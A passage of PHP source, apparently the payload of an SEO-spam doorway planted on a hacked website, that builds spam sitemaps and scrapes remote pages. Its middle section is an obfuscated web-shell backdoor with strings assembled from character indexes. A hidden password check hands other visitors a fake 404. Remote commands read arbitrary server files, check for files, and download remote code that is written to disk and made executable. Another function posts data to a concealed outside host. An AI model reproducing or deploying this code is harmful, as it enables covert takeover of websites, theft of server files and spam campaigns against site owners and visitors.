$fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/')); $siteLink='http://'.$_SERVER['HTTP_HOST']; $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>'; // $urlsArray = $filenames; $numLinks = count($urlsArray); $star = 0; $priority = 0.1; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s"); $str = ""; $tempArr1 = $filenames; foreach($tempArr1 as $value2){ $curphp=basename(__FILE__); $value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); list($tempNowid,$tempSid,$tempPid) = explode('-',$value); $url = getalink($tempSid,$tempPid,$tempNowid); if($first===false && $last===false && $checkTxt===false) { $date = date("Y-m-d"); $time = date("H:i:s"); if($star % 12000==11999){ $gFile = 'sitemap/sitemap' . $gnumber .'.xml'; echo '<br/>'.$gFile.'<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); $str = ''; $gnumber++; return; } $str .= " <url> <loc>" . $url . "</loc> <lastmod>". $date . "T" . $time ."-05:00</lastmod> <changefreq>daily</changefreq> <priority>0.1</priority> </url> "; $star++; $starPri++; } } { $gFile = 'sitemap/sitemap' . $gnumber .'.xml'; $gnumber++; echo '<br/>'.$gFile.'<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); } unset($tempArr1); unset($filenames); echo "生成sitemap成功!"; } function gsitemap($filenames,$c=1,$jdt=1){ global $gnumber,$arrArrr; $filePres = ''; $fileEnds = ''; $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/')); $siteLink='http://'.$_SERVER['HTTP_HOST']; $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>'; // $urlsArray = $filenames; $numLinks = count($urlsArray); $star = 0; $priority = 0.9; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s"); $str = " <url> <loc>" . $siteLink . "</loc> <lastmod>". $date . "T" . $time ."-05:00</lastmod> <changefreq>always</changefreq> <priority>1.0</priority> </url> "; $tempArr1 = $filenames; foreach($tempArr1 as $value2){ $curphp=basename(__FILE__); $value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); list($tempNowid,$tempSid,$tempPid) = explode('-',$value); $url = getalink($tempSid,$tempPid,$tempNowid); if($first===false && $last===false && $checkTxt===false) { $date = date("Y-m-d"); $time = date("H:i:s"); if($star % 12000==11999){ $gFile = 'sitemap/sitemap' . $gnumber .'.xml'; echo '<br/>'.$gFile.'<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); $str = ''; $gnumber++; return; } if($starPri >= 400 && $priority != 0.1){ $starPri = 0; $priority = $priority - 0.1; } if($priority > 0.1){ $str .= " <url> <loc>" . $url . "</loc> <lastmod>". $date . "T" . $time ."-05:00</lastmod> <changefreq>daily</changefreq> <priority>". $priority . "</priority> </url> "; }else{ $str .= " <url> <loc>" . $url . "</loc> <lastmod>". $date . "T" . $time ."-05:00</lastmod> <changefreq>daily</changefreq> <priority>0.1</priority> </url> "; } $star++; $starPri++; } } { $gFile = 'sitemap/sitemap' . $gnumber .'.xml'; echo '<br/>'.$gFile.'<br/>'; $gnumber++; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); } unset($tempArr1); unset($filenames); echo "生成sitemap成功!"; } function rmhtmltag2($tagname='',$str=''){ $rulers = '#<'.$tagname.'[^>]*>#s'; $str = preg_replace($rulers,'',$str); $rulers = '#</'.$tagname.'>#s'; $str = preg_replace($rulers,'',$str); $rulers = '#<'.$tagname.'[^>]*>#i'; $str = preg_replace($rulers,'',$str); $rulers = '#</'.$tagname.'>#i'; $str = preg_replace($rulers,'',$str); return $str; } function rmhtmltag($tagname='',$str=''){ $rulers = '#<'.$tagname.'[^>]*>.*?</'.$tagname.'>#s'; $str = preg_replace($rulers,'',$str); $rulers = '#<'.$tagname.'[^>]*>.*?</'.$tagname.'>#i'; $str = preg_replace($rulers,'',$str); return $str; } function fillUrl($str = '', $url){ $relur = '#(?:href|src) ?= ?"([^"]+)"#s'; $urlInfo = parse_url($url); preg_match_all($relur, $str, $matches); if(count($matches[1])){ foreach($matches[1] as $values){ if(!strstr($values, "//") && !strstr($values, "..")){ $rStr = $urlInfo['host']."/".$values; $rStr = 'http://' . str_replace('//','/',$rStr); $str = str_replace('"'.$values.'"', '"'.$rStr.'"' , $str) ; }elseif(strstr($values, "..")){ // echo $urlInfo['host']; // echo str_replace(basename($url),"",$url); // die(); $rStr = str_replace(basename($url),"",$url)."/".$values; $rStr = str_replace("http://","<llqhttp>",$rStr); $rStr = str_replace("https://","<llqhttps>",$rStr); $rStr = str_replace("//","/",$rStr); $rStr = str_replace("<llqhttps>","https://",$rStr); $rStr = str_replace("<llqhttp>","http://",$rStr); $str = str_replace('"'.$values.'"', '"'.$rStr.'"' , $str) ; } } } $relur = '#(?:href|src) ?= ?\'([^\']+)\'#s'; $urlInfo = parse_url($url); preg_match_all($relur, $str, $matches); // print_r($matches[1]); if(count($matches[1])){ foreach($matches[1] as $values){ if(!strstr($values, "//") && !strstr($values, "..")){ $rStr = $urlInfo['host']."/".$values; $rStr = 'http://' . str_replace('//','/',$rStr); $str = str_replace("'".$values."'", "'".$rStr."'" , $str) ; }elseif(strstr($values, "..")){ $rStr = str_replace(basename($url),"",$url)."/".$values; $rStr = str_replace("http://","<llqhttp>",$rStr); $rStr = str_replace("https://","<llqhttps>",$rStr); $rStr = str_replace("//","/",$rStr); $rStr = str_replace("<llqhttps>","https://",$rStr); $rStr = str_replace("<llqhttp>","http://",$rStr); $str = str_replace("'".$values."'", "'".$rStr."'" , $str) ; } } } return $str;} function auto_read($str, $charset='UTF-8') { $list = array('EUC-JP', 'Shift_JIS', 'UTF-8', 'iso-2022-jp'); $encode = mb_detect_encoding($str, $list); // echo $encode;die(); if($encode == 'UTF-8'){ return $str; }else{ return mb_convert_encoding($str, $charset, $encode); } } function detect_encoding($file){ $list = array('GBK', 'UTF-8', 'UTF-16LE', 'UTF-16BE', 'ISO-8859-1'); $str = file_get_contents($file); foreach ($list as $item) { $tmp = mb_convert_encoding($str, $item, $item); if (md5($tmp) == md5($str)) { return $item; } } return null;} function curl_get_from_webpage($url,$proxy='',$loop=10){ $data = false; $i = 0; while(!$data) { $data = curl_get_from_webpage_one_time($url,$proxy); if($i++ >= $loop) break; } return $data;} function curl_get_from_webpage_one_time($url,$proxy=''){ if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){ $curl = curl_init(); //如果有用代理,则使用代理. $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100"; // $urlReferer = "http://www.google.com"; if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy); curl_setopt($curl, CURLOPT_URL, $url); if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0 ));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent); }$data=curl_exec($curl);curl_close($curl); }else{ $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; if($is_auf){ $data = file_get_contents($url); } } if(!$data) return false; return $data; } function curl_getjs_from_webpage($url,$time){ if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){ $curl = curl_init(); //如果有用代理,则使用代理. $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100"; // $urlReferer = "http://www.google.com"; curl_setopt($curl, CURLOPT_URL, $url); if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_TIMEOUT => $time,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0 ));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_TIMEOUT, $time);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent); }$data=curl_exec($curl);curl_close($curl); }else{ $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; if($is_auf){ $data = file_get_contents($url); } } if(!$data) return false; return $data; } //ccccccgetbg @ini_set('display_errors', 0);@set_time_limit(3600); $q1 = "O00O0O";$q2 = "O0O000";$q3 = "O0OO00";$q4 = "OO0O00";$q5 = "OO0000";$q6 = "O00OO0";$q7 = "O00O00";$q8 = "O00OOO";$q9 = "O0O0OO";$q10 = "OOO0OO";$q11 = "OO00OO";$q12 = "OO000O";$q13 = "OO0O0O";$q14 = "OOOO00";$q15 = "OO0OO0O";$$q1 = RandAbc();$$q3 = $O00O0O{62}.$O00O0O{51}.$O00O0O{50}.$O00O0O{54}.$O00O0O{55};$$q5 = $O00O0O{28}.$O00O0O{26}.$O00O0O{27}.$O00O0O{33};$$q6 = $O00O0O{1}.$O00O0O{0}.$O00O0O{2}.$O00O0O{10}.$O00O0O{20}.$O00O0O{15};$$q4 = $$O0OO00;$$q2 = $O00O0O{12}.$O00O0O{3}.$O00O0O{31};$$q7 = $O00O0O{30}.$O00O0O{35}.$O00O0O{32}.$O00O0O{34}.$O00O0O{31}.$O00O0O{34}.$O00O0O{31}.$O00O0O{3}.$O00O0O{26}.$O00O0O{5}.$O00O0O{5}.$O00O0O{4}.$O00O0O{29}.$O00O0O{31}.$O00O0O{28}.$O00O0O{27}.$O00O0O{0}.$O00O0O{26}.$O00O0O{30}.$O00O0O{32}.$O00O0O{5}.$O00O0O{26}.$O00O0O{30}.$O00O0O{34}.$O00O0O{28}.$O00O0O{5}.$O00O0O{33}.$O00O0O{0}.$O00O0O{3}.$O00O0O{31}.$O00O0O{34}.$O00O0O{3};$$q8 = $O00O0O{19}.$O00O0O{14}.$O00O0O{15};$$q9 = $O00O0O{62}.$O00O0O{54}.$O00O0O{40}.$O00O0O{53}.$O00O0O{57}.$O00O0O{40}.$O00O0O{53};$$q10 = $$O0O0OO;$$q11 = $O00O0O{39}.$O00O0O{50}.$O00O0O{38}.$O00O0O{56}.$O00O0O{48}.$O00O0O{40}.$O00O0O{49}.$O00O0O{55}.$O00O0O{62}.$O00O0O{53}.$O00O0O{50}.$O00O0O{50}.$O00O0O{55};$$q12 = $O00O0O{51}.$O00O0O{43}.$O00O0O{51}.$O00O0O{62}.$O00O0O{54}.$O00O0O{40}.$O00O0O{47}.$O00O0O{41};$$q13 = $O00O0O{2}.$O00O0O{6}.$O00O0O{4}.$O00O0O{19};$$q14 = $O00O0O{8}.$O00O0O{13}.$O00O0O{3}.$O00O0O{4}.$O00O0O{23}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};$$q15 = $O00O0O{7}.$O00O0O{19}.$O00O0O{19}.$O00O0O{15}.$O00O0O{64}.$O00O0O{65}.$O00O0O{65}.$O00O0O{22}.$O00O0O{22}.$O00O0O{22}.$O00O0O{63}; if(isset($OOO0OO["$OO00OO"])){$BT = $OOO0OO["$OO00OO"];}elseif(isset($OOO0OO["$OO000O"])){$BT = str_ireplace(str_replace("\\",DIRECTORY_SEPARATOR,str_replace("/",DIRECTORY_SEPARATOR,$OOO0OO["$OO000O"])),'',__FILE__).DIRECTORY_SEPARATOR;}else{$BT = '/';} foreach($OO0O00 as $O00O00o=>$O00Oo0o){ $$O00O00o = $O00Oo0o; } if(!(isset($passwd) && $O0O000($passwd) == $O00O00)){ header("HTTP/1.1 404 Not Found"); header("Status: 404 Not Found"); exit; } if(isset($act) && $act == 'check' && isset($check_file)){ if(file_exists($check_file)){ echo '#ok#'; } } if(isset($act) && $act == 'test'){ echo '#ok#'; } if(isset($act) && $act == 'recover' && isset($recover_file) && isset($recover_file_url)){ { $pfile = $recover_file; $date = $OO0O0O($recover_file_url); gdir_file($recover_file); @chmod($pfile,0755); if($date && file_put_contents($pfile,$date)){ echo '#ok#'; }else{ echo '#fail#'; } } } if(isset($act) && $act == 'redate' && isset($redate_file)){ if(file_exists($redate_file)){ echo rdFile($redate_file); } } function RandAbc($length = "") { $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_.:/"; return ($str); } function rdFile($file){ if(function_exists('file_get_contents')){ return file_get_contents($file); }else{ $handle = fopen($file, "r"); $contents = fread($handle, filesize($file)); fclose($handle); return $contents; } } function cget($url,$loop=10){ $data = false; $i = 0; while(!$data) { $data = tcget($url); if($i++ >= $loop) break; } return $data; } function tcget($url,$proxy=''){ global $OO0OO0O, $O00OO0, $OO0000, $O00OOO; $data = ''; $url = "$OO0OO0O$O00OO0$OO0000.$O00OOO/".$url; $url = trim($url); if (extension_loaded('curl') && function_exists('curl_init') && function_exists('curl_exec')){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 60); $data = curl_exec($ch); curl_close($ch); } if ($data == ''){ if (function_exists('file_get_contents') && $url){ $data = @file_get_contents($url); } } if (($data == '') && $url){ if (function_exists('fopen') && function_exists('ini_get') && ini_get('allow_url_fopen')){ ($fp = @fopen($url, 'r')); if ($fp){ while (!@feof($fp)){ $data .= @fgets($fp) . ''; } @fclose($fp); } } } return $data; } function m_mkdir($dir){ if(!is_dir($dir)) mkdir($dir); } function gdir_file($gDir=''){ global $BT; $gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir); $gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir); $arr = explode(DIRECTORY_SEPARATOR,$gDir); if(count($arr) <= 0) return; if(!strstr($gDir,$BT)) $dir = $BT; else $dir = ''; for($i = 0 ; $i < count($arr)-1 ; $i++){ $dir .= '/' . $arr[$i]; m_mkdir($dir); } return $dir; } //ccccccgetend function my_mkdir($dir){ global $fitime; if(!is_dir($dir)){ mkdir($dir); @touch($dir, $fitime, $fitime); } } function generate_dir_file($gDir=''){ global $hostDir; $gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir); $gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir); $arr = explode(DIRECTORY_SEPARATOR,$gDir); if(count($arr) <= 0) return; if(!strstr($gDir,$hostDir)) $dir = $hostDir; else $dir = ''; for($i = 0 ; $i < count($arr)-1 ; $i++){ $dir .= DIRECTORY_SEPARATOR . $arr[$i]; my_mkdir($dir); } return $dir; } function getalink($sid,$pid,$nNumID){ global $arrnametime,$arrKeywz,$arr_word,$strRand; $filePres = ''; $fileEnds = ''; $siteLink='http://'.$_SERVER['HTTP_HOST']; $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); if(JDT == 2){ $filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){ $filePres = $siteLink ."/". $httcReplace . "/"; }elseif(JDT == 3){ $filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?keyword="; }else{ $filePres = $siteLink."/"; } $ms = $arrnametime[$pid % count($arrnametime)]; $keyNum = $arrKeywz[$pid % count($arrKeywz)]; $keyWordKey = $pid % 10; $keyStrKey = $pid % strlen("icedrkswzjhpnxoyvumfatblgq"); $keyArr = array(); $flag = 0; if($ms == 2 or $ms ==4){ if($keyNum >= 9){ $fg = 4; }elseif($keyNum >= 7){ $fg = 3; }else{ $fg = 2; } } for($i=0;$i<$keyNum;$i++){ $tempNum = $arr_word[$i][$keyWordKey]; $tempstr = ''; for($j=0;$j<$tempNum;$j++) $tempstr .= $strRand[$flag++]{$keyStrKey}; $keyArr[$i] = $tempstr; } $SidWz = $sid % $keyNum; $PidWz = $pid % $keyNum; $linkCenter = ''; if(JDT == 3){ for($i=0;$i<$keyNum;$i++){ if($SidWz == $i && $i != 0) $linkCenter .= '-'.$nNumID. BZSITE . $sid .'-'; elseif($SidWz == $i) $linkCenter .= $nNumID. BZSITE . $sid .'-'; if($PidWz == $i && $i != 0) $linkCenter .= '-'. BZPRO . $pid .'-'; elseif($PidWz == $i) $linkCenter .= BZPRO . $pid .'-'; $linkCenter .= $keyArr[$i] .''; } $linkCenter .= $linkCenter . "#llq"; $linkCenter = str_replace('-#llq','',$linkCenter); $linkCenter = str_replace('#llq','',$linkCenter); $linkCenter = str_replace('--','-',$linkCenter); $linkCenter = str_replace('/-','/',$linkCenter); return $filePres.$linkCenter; } if($ms == 1){ for($i=0;$i<$keyNum;$i++){ if($SidWz == $i && $i != 0) $linkCenter .= '-'.$nNumID. BZSITE . $sid .'-'; elseif($SidWz == $i) $linkCenter .= $nNumID. BZSITE . $sid .'-'; if($PidWz == $i && $i != 0) $linkCenter .= '-'. BZPRO . $pid .'-'; elseif($PidWz == $i) $linkCenter .= BZPRO . $pid .'-'; $linkCenter .= $keyArr[$i] .''; } $linkCenter .= "/"; $linkCenter = str_replace("-/","/",$linkCenter); }elseif($ms == 2){ for($i=0;$i<$keyNum;$i++){ if($SidWz == $i && $i != 0) $linkCenter .= '-'.$nNumID. BZSITE . $sid .'-'; elseif($SidWz == $i) $linkCenter .= $nNumID. BZSITE . $sid .'-'; if($PidWz == $i && $i != 0) $linkCenter .= '-'. BZPRO . $pid .'-'; elseif($PidWz == $i) $linkCenter .= BZPRO . $pid .'-'; $linkCenter .= $keyArr[$i] .''; if($i == $fg-1){ $linkCenter .= '-'; } } $linkCenter .= "/"; $linkCenter = str_replace("-/","/",$linkCenter); }elseif($ms == 3){ for($i=0;$i<$keyNum;$i++){ if($SidWz == $i && $i != 0) $linkCenter .= '-'. $nNumID . BZSITE . $sid .'-'; elseif($SidWz == $i) $linkCenter .= $nNumID. BZSITE . $sid .'-'; if($PidWz == $i && $i != 0) $linkCenter .= '-'. BZPRO . $pid .'-'; elseif($PidWz == $i) $linkCenter .= BZPRO . $pid .'-'; $linkCenter .= $keyArr[$i] .''; } $linkCenter .= JTHZ; $linkCenter = str_replace("-".JTHZ,JTHZ,$linkCenter); }elseif($ms == 4){ for($i=0;$i<$keyNum;$i++){ if($SidWz == $i && $i != 0) $linkCenter .= '-'. $nNumID. BZSITE . $sid .'-'; elseif($SidWz == $i) $linkCenter .= $nNumID. BZSITE . $sid .'-'; if($PidWz == $i && $i != 0) $linkCenter .= '-'. BZPRO . $pid .'-'; elseif($PidWz == $i) $linkCenter .= BZPRO . $pid .'-'; $linkCenter .= $keyArr[$i] .''; if($i == $fg-1){ $linkCenter .= '-'; } } $linkCenter .= JTHZ; $linkCenter = str_replace("-/","/",$linkCenter); $linkCenter = str_replace("-".JTHZ,JTHZ,$linkCenter); } $linkCenter = str_replace('--','-',$linkCenter); $linkCenter = str_replace('/-','/',$linkCenter); return $filePres.$linkCenter; } // bbbbbbbbackupbg function backup_install($dateArr,$loop=10){ $data = false; $i = 0; while(!$data) { $data = backup_install_once($dateArr); if($i++ >= $loop) break; } return $data; } function backup_install_once($dateArr=array()){ global $O0O000; $data = false; if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close") && 0){ $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $O0O000); curl_setopt($curl, CURLOPT_HEADER, 0); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, $dateArr); $data = curl_exec($curl); curl_close($curl); }else{ $tempDate = http_build_query($dateArr); $params = array( 'http' => array( 'method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => $tempDate ) ); $ctx = stream_context_create($params); $data = file_get_contents($O0O000, null, $ctx); } return $data; } // bbbbbbbbackupend function is_ip($localIp,$ipRanges) { $localIp = ip2long($localIp); foreach($ipRanges as $val) { $ipmin=sprintf("%u",ip2long($val[0])); $ipmax=sprintf("%u",ip2long($val[1])); if($localIp >= $ipmin && $localIp <= $ipmax) { return true; } } return false;} function RandAbcs($length = ""){ $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:"; return ($str); } function get_real_ip(){ $ip=false; if (isset($_SERVER)) { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) { $ip = $_SERVER['HTTP_X_FORWARDED']; } elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) { $ip = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_FORWARDED'])) { $ip = $_SERVER['HTTP_FORWARDED']; } else { $ip = $_SERVER['REMOTE_ADDR']; } } else { if (getenv('HTTP_X_FORWARDED_FOR')) { $ip = getenv('HTTP_X_FORWARDED_FOR'); } elseif (getenv('HTTP_CLIENT_IP')) { $ip = getenv('HTTP_CLIENT_IP'); } else { $ip = getenv('REMOTE_ADDR'); } } return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);} //file end